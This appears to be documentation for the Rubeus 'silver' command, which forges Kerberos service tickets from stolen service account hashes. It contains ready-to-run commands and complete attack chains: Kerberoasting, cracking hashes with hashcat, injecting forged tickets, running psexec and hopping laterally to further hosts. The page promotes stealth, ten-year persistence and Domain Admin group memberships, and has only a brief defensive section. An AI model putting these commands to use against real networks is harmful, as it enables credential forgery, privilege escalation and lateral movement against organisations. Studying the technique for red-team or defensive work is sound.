silver

Overview

Create silver tickets (forged TGS tickets) for specific services using service account credentials. Silver tickets provide direct access to individual services without requiring domain controller interaction, making them useful for stealth operations and service-specific access.

Syntax

Rubeus.exe silver /user:USER /service:SPN /rc4:HASH [options]

Required Parameters

string

required

Username for the forged ticket

string

required

Service Principal Name (SPN) to target

Credential Parameters (Choose One)

string

RC4/NTLM hash of the service account

string

AES128 key of the service account

string

AES256 key of the service account

Optional Parameters

string

Domain for the ticket (default: current domain)

string

Domain SID for the ticket

string

Comma-separated list of group RIDs (default: 513,512,520,518,519)

string

Ticket start time (default: now)

string

Ticket end time (default: 10 years)

string

Ticket renew time (default: 10 years)

string

Save ticket to file

boolean

Pass-the-ticket (inject immediately)

Examples

# Create CIFS silver ticket
Rubeus.exe silver /user:admin /service:cifs/fileserver.corp.local /rc4:service_ntlm_hash /ptt

# Create HOST silver ticket for remote admin
Rubeus.exe silver /user:admin /service:host/target.corp.local /rc4:machine_hash

# Create HTTP silver ticket
Rubeus.exe silver /user:admin /service:http/webapp.corp.local /aes256:service_aes_key

# Custom domain and SID
Rubeus.exe silver /user:admin /service:cifs/server.corp.local /rc4:hash /domain:corp.local /sid:S-1-5-21-1234567890-1234567890-1234567890

# Custom groups and timing
Rubeus.exe silver /user:admin /service:mssql/dbserver.corp.local /rc4:hash /groups:512,513,518 /endtime:"12/31/2025 23:59:59"

# Save to file for later use
Rubeus.exe silver /user:admin /service:ldap/dc.corp.local /aes128:key /outfile:ldap_silver.kirbi

Service Targeting

Common Service Types

File Services (CIFS):

# File server access
Rubeus.exe silver /user:admin /service:cifs/fileserver.corp.local /rc4:hash /ptt

# Test access
dir \\fileserver.corp.local\c$

Remote Administration (HOST):

# Administrative access
Rubeus.exe silver /user:admin /service:host/target.corp.local /rc4:hash /ptt

# Remote execution
psexec \\target.corp.local cmd

Database Access (MSSQL):

# SQL Server access
Rubeus.exe silver /user:admin /service:mssql/sqlserver.corp.local /rc4:hash /ptt

# Connect to database
sqlcmd -S sqlserver.corp.local -E

Service Account Requirements

Hash Acquisition:

Service account NTLM hash (RC4)
Service account AES keys (AES128/256)
Computer account credentials for machine services
Manual hash extraction from compromised systems

Service Types:

User service accounts (custom applications)
Machine accounts (computer services)
Managed service accounts (MSAs)
Group managed service accounts (gMSAs)

Silver Ticket Advantages

Operational Benefits

Stealth Characteristics:

No domain controller communication required
Direct service authentication
Bypasses many detection mechanisms
Reduced network traffic and logs

Persistence:

Long validity periods (up to 10 years)
Survives password changes (until service key rotation)
Independent of domain controller availability
Resilient to many defensive measures

Technical Advantages

Service-Specific Access:

Targeted service authentication
Precise permission control
Minimal privilege exposure
Focused attack scope

Flexibility:

Custom user identity
Configurable group memberships
Adjustable validity periods
Multiple encryption types

Credential Acquisition

Service Account Hashes

Common Sources:

Kerberoasting attacks (service accounts)
Memory dumps from compromised systems
DCSync attacks for computer accounts
Cached credential extraction

Hash Types:

# RC4/NTLM hash (most common)
Rubeus.exe silver /service:cifs/server.corp.local /rc4:32ed87bdb5fdc5e9cba88547376818d4

# AES256 key (stronger encryption)
Rubeus.exe silver /service:cifs/server.corp.local /aes256:32ed87bdb5fdc5e9cba88547376818d4...

# AES128 key
Rubeus.exe silver /service:cifs/server.corp.local /aes128:32ed87bdb5fdc5e9cba88547376818d4

Machine Account Credentials

Computer Account Access:

Local computer account hash extraction
Registry-based credential recovery
Memory-based hash extraction
Network capture and analysis

Service Integration:

# HOST service for administrative access
Rubeus.exe silver /user:admin /service:host/target.corp.local /rc4:machine_hash

# CIFS service for file access
Rubeus.exe silver /user:admin /service:cifs/target.corp.local /rc4:machine_hash

Integration Workflows

Post-Kerberoasting

Complete Attack Chain:

# 1. Kerberoast service accounts
Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt

# 2. Crack service account hashes
hashcat -m 13100 kerberoast_hashes.txt wordlist.txt

# 3. Create silver tickets with cracked hashes
Rubeus.exe silver /user:admin /service:cifs/fileserver.corp.local /rc4:cracked_hash /ptt

# 4. Access target services
dir \\fileserver.corp.local\share

Lateral Movement

Service-Hopping Strategy:

# 1. Create HOST ticket for remote admin
Rubeus.exe silver /user:admin /service:host/target1.corp.local /rc4:hash /ptt

# 2. Execute on target1
psexec \\target1.corp.local cmd

# 3. Extract credentials from target1
# Dump hashes, tickets, or other credentials

# 4. Create new silver tickets for additional targets
Rubeus.exe silver /user:admin /service:cifs/target2.corp.local /rc4:new_hash /ptt

Group Configuration

Default Groups

Standard Group RIDs:

513: Domain Users
512: Domain Admins
520: Group Policy Creator Owners
518: Schema Admins
519: Enterprise Admins

Practical Impact:

Domain Admins (512) provides broad administrative access
Enterprise Admins (519) for forest-wide operations
Custom groups for specific service permissions

Custom Group Targeting

Service-Specific Groups:

# Database administrators group
Rubeus.exe silver /user:admin /service:mssql/db.corp.local /rc4:hash /groups:512,513,1001

# Application-specific groups
Rubeus.exe silver /user:admin /service:http/app.corp.local /rc4:hash /groups:513,1500,1501

Group Discovery:

LDAP enumeration for service-specific groups
Analysis of service permissions and ACLs
Review of application-specific role memberships
Custom group identification through reconnaissance

Defensive Considerations

Detection Challenges

Limited Visibility:

No KDC interaction for validation
Standard service authentication patterns
Difficult to distinguish from legitimate tickets
Minimal unusual network activity

Detection Opportunities:

Unusual service access patterns
Access from unexpected accounts
Service tickets with suspicious characteristics
Correlation with other attack indicators

Mitigation Strategies

Technical Controls:

Regular service account key rotation
Enhanced service authentication logging
Privileged account monitoring
Service permission auditing

Operational Measures:

Regular security assessments
Service account management procedures
Monitoring for unusual service access
Incident response planning

kerberoast - Extract service account hashes
golden - Domain-wide ticket forgery
ptt - Inject forged tickets
describe - Analyze forged tickets

Getting Started

Ticket Operations

Attack Techniques

Miscellaneous

Overview

Syntax

Required Parameters

Credential Parameters (Choose One)

Optional Parameters

Examples

Service Targeting

Silver Ticket Advantages

Credential Acquisition

Integration Workflows

Group Configuration

Defensive Considerations

​Overview

​Syntax

​Required Parameters

​Credential Parameters (Choose One)

​Optional Parameters

​Examples

​Service Targeting

​Silver Ticket Advantages

​Credential Acquisition

​Integration Workflows

​Group Configuration

​Defensive Considerations

​Related Commands

Overview

Syntax

Required Parameters

Credential Parameters (Choose One)

Optional Parameters

Examples

Service Targeting

Silver Ticket Advantages

Credential Acquisition

Integration Workflows

Group Configuration

Defensive Considerations

Related Commands